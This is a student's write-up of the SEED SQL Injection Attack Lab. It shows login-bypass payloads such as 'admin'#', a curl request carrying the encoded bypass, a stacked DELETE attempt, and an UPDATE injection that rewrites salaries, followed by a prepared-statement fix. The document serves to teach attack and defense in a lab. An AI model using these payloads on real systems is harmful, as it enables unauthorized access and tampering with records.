

SQL Injection Attack Lab

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1 Lab Tasks

1.1 Task 1: Get Familiar with SQL Statements

Observation:

```
[11/11/18]seed@VM:~$ mysql -u root -pseedubuntu
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 6
Server version: 5.7.19-0ubuntu0.16.04.1 (Ubuntu)

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affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 
mysql> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----+
| Tables_in_Users |
+-----+
| credential      |
+-----+
1 row in set (0.01 sec)
```

```
mysql> select * from credential where name = "Alice";
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| ID | Name | EID | Salary | birth | SSN | PhoneNumber | Address | Email |
| NickName | Password |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | Alice | 10000 | 20000 | 9/20 | 10211002 | | | |
| | fdb918bdae83000aa54747fc95fe0470fff4976 |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
1 row in set (0.02 sec)
```

1.2 Task 2: SQL Injection Attack on SELECT Statement

Task 2.1: SQL Injection Attack from webpage. The objective of this task is to see the information of all the employees. We have to specify the *Username* and *Password* in the login page. After reading the SQL construction code, we can fill in the *Username* with **admin'** and leave the *Password* as blank.

SQLi Lab

www.seedlabsqlinjection.com

SEEDLABS

Employee Profile Login

USERNAME admin'#

PASSWORD Password

Login

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Observation: After clicking **Login** button, we successfully logged in as the **Admin** and obtained all the information of each member.

User Details

Username	EId	Salary	Birthday	SSN	Nickname	Email
Alice	10000	20000	9/20	10211002		
Boby	20000	30000	4/20	10213352		
Ryan	30000	50000	4/10	98993524		
Samy	40000	90000	1/11	32193525		
Ted	50000	110000	11/3	32111111		
Admin	99999	400000	3/5	43254314		

Task 2.2: SQL Injection Attack from command line. The objective of this task is similar with Task 2.1 but instead of using webpage, we need to use the *curl* to construct a command to send it to the Mysql. Through Task 2.1 we can infer that we only need to specify the *Admin* to be **admin**' and we can log in as the admin. In the curl command, we need to specify the parameter *admin* to **admin %27%23** and send it to the web application. So we construct the following command:

```
[11/11/18]seed@VM:~$ curl 'www.SeedLabSQLInjection.com/unsafe_home.php?username=admin%27%23'
```

Observation: After hitting the return key, we successfully logged in as the **Admin** and obtain all the information of each member.

```

<ul class='navbar-nav mr-auto mt-2 mt-lg-0' style='padding-left: 30px;'><li
class='nav-item active'><a class='nav-link' href='unsafe home.php'>Home <span cl
ass='sr-only'>(current)</span></a></li><li class='nav-item'><a class='nav-link' h
ref='unsafe edit frontend.php'>Edit Profile</a></li></ul><button onclick='logout(
)' type='button' id='logoffBtn' class='nav-link my-2 my-lg-0'>Logout</button></di
v></nav><div class='container'><br><h1 class='text-center'><b> User Details </b><
/h1><hr><br><table class='table table-striped table-bordered'><thead class='thead
-dark'><tr><th scope='col'>Username</th><th scope='col'>EId</th><th scope='col'>S
alary</th><th scope='col'>Birthday</th><th scope='col'>SSN</th><th scope='col'>Ni
ckname</th><th scope='col'>Email</th><th scope='col'>Address</th><th scope='col'>
Ph. Number</th></tr></thead><tbody><tr><th scope='row'> Alice</th><td>10000</td><
td>20000</td><td>9/20</td><td>10211002</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Bobby</th><td>20000</td><td>30000</td><td>4/20</td><td>102
13352</td><td></td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Ryan</th>
<td>30000</td><td>50000</td><td>4/10</td><td>98993524</td><td></td><td></td><td></td></tr><tr><th scope='row'> Samy</th><td>40000</td><td>90000</td><td>1
/11</td><td>32193525</td><td></td><td></td><td></td><td></td><td></td></tr><tr><th scope='
row'> Ted</th><td>50000</td><td>110000</td><td>11/3</td><td>32111111</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Admin</th><td>99999</td><td>
400000</td><td>3/5</td><td>43254314</td><td></td><td></td><td></td><td></td><td></td></tr>
</tbody></table>
<br><br>
<div class="text-center">

```

Task 2.3: Append a new SQL statement. The objective of this task is appending a SQL with semicolon to modify the database (delete a record). In the *Username* blank of the Login webpage, we can specify the following information and fill it in the blank. I choose to delete the **Ted's** record.

Employee Profile Login

USERNAME

';DELETE FROM credential WHERE Name = 'Ted' #

PASSWORD

Password

Login

Observation: After clicking the **Logging**, the webpage prompt an error message and we cannot launch the attack, because in PHP's mysqli extension, the `mysqli::query()` API doesn't allow multiple queries to run in the database server.

There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DELETE FROM credential WHERE Name = 'Ted' #' and Password='da39a3ee5e6b4b0d3255bf' at line 3]\n

1.3 Task 3: SQL Injection Attack on UPDATE Statement

To do this task, firstly we need to log in as normal user, let's log in as Alice and send an **Edit Profile** request.

Alice Profile	
Key	Value
Employee ID	10000
Salary	20000
Birth	9/20
SSN	10211002
NickName	

Task 3.1: Modify your own salary. To modify my salary, first let us open the **Edit Profile** page, then let's fill in the blanks with the following information.

Alice's Profile Edit

NickName

NickName

Email

Email

Address

Address

Phone Number

',salary='40000

Password

.....

Save

Observation: After clicking the **Save** button, the responsive page shows that Alice's salary is updated.

Alice Profile

Key	Value
Employee ID	10000
Salary	40000
Birth	9/20
SSN	10211002
NickName	
Email	
Address	

Task 3.2: Modify other people's salary. To modify some others' salary, first let us open the **Edit Profile** page, in this task we choose to modify my boss Bobby's salary and reduce it to 1 dollar, then let's fill in the blanks with the following information.

Alice's Profile Edit

NickName

Email

Address

Phone Number

Password

Save

Observation: After clicking the **Save** button, either we can log in as Bobby to see its profile or we can query the information of Bobby in the Mysql console. When we query the information in the Mysql console we can see that Bobby's salary is modified and now it is 1 dollar.

```
mysql> mysql> select * from credential;
```

ID	Name	EID	Salary	birth	SSN	PhoneNumber	Address	Email
NickName	Password							
1	Alice	10000	40000	9/20	10211002			
	fdbe918bdae83000aa54747fc95fe0470fff4976							
2	Boby	20000	1	4/20	10213352			
	fdbe918bdae83000aa54747fc95fe0470fff4976							
3	Ryan	30000	50000	4/10	98993524			
	a3c50276cb120637cca669eb38fb9928b017e9ef							
4	Samy	40000	90000	1/11	32193525			
	995b8b8c183f349b3cab0ae7fccd39133508d2af							
5	Ted	50000	110000	11/3	32111111			
	99343bff28a7bb51cb6f22cb20a618701a2c2f58							
6	Admin	99999	400000	3/5	43254314			
	a5bdf35a1df4ea895905f6f6618e83951a6efffc0							

6 rows in set (0.00 sec)

Modify other people's password. To modify some others' password, first let us open the **Edit Profile** page, in this task we choose to modify my boss Bobby's password to be *12345678*, before modifying it, we can record what the current password is by querying it in the console,

```
mysql> select * from credential where Name = 'Boby';
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| ID | Name | EID | Salary | birth | SSN | PhoneNumber | Address | Email |
| NickName | Password |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 2 | Boby | 20000 | 2 | 4/20 | 10213352 | | | |
| | b78ed97677c161c1c82c142906674ad15242b2d4 |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
1 row in set (0.00 sec)
```

then let's fill in the blanks with the following information.

Alice's Profile Edit

NickName

Email

Address

Phone Number

Password

Observation: After clicking the **Save** button, the responsive webpage prompts there is not account matches, We can check Bobby's information again in the console,

The account information your provide does not exist.

[Go back](#)


```
mysql> select * from credential where Name = 'Boby';
```

ID	Name	EID	Salary	birth	SSN	PhoneNumber	Address	Email	NickName	Password
2	Boby	20000	2	4/20	10213352					7c222fb2927d828af22f592134e8932480637c0d

```
1 row in set (0.00 sec)
```

compare it with the previous result, Bobby's password indeed get modified, now let's log in as Bobby with the new password.

Boby Profile

Key	Value
Employee ID	20000
Salary	2
Birth	4/20
SSN	10213352
NickName	
Email	

1.4 Task 4: Countermeasure — Prepared Statement

To apply the prepared statement countermeasure, let's modify the `unsafe_home.php`, the `unsafe_home.php` contains the vulnerability that if the data field contains some code, the code will be executed in the backend. We need to modify the following code:

```
// Sql query to authenticate the user
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
if (!$result = $conn->query($sql)) {
    echo "</div>";
    echo "</nav>";
    echo "<div class='container text-center'>";
    die('There was an error running the query [' . $conn->error . ']\n');
    echo "</div>";
}
```

the safe code should be the following:

```
// Sql query to authenticate the user
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
$sql->fetch();
```

Then we can restart the Apache server and redo the task 2. This time we cannot view all the members' information by simply filling the **Username** field with **admin'**.

Employee Profile Login

USERNAME

PASSWORD

Login

The account information your provide does not exist.

[Go back](#)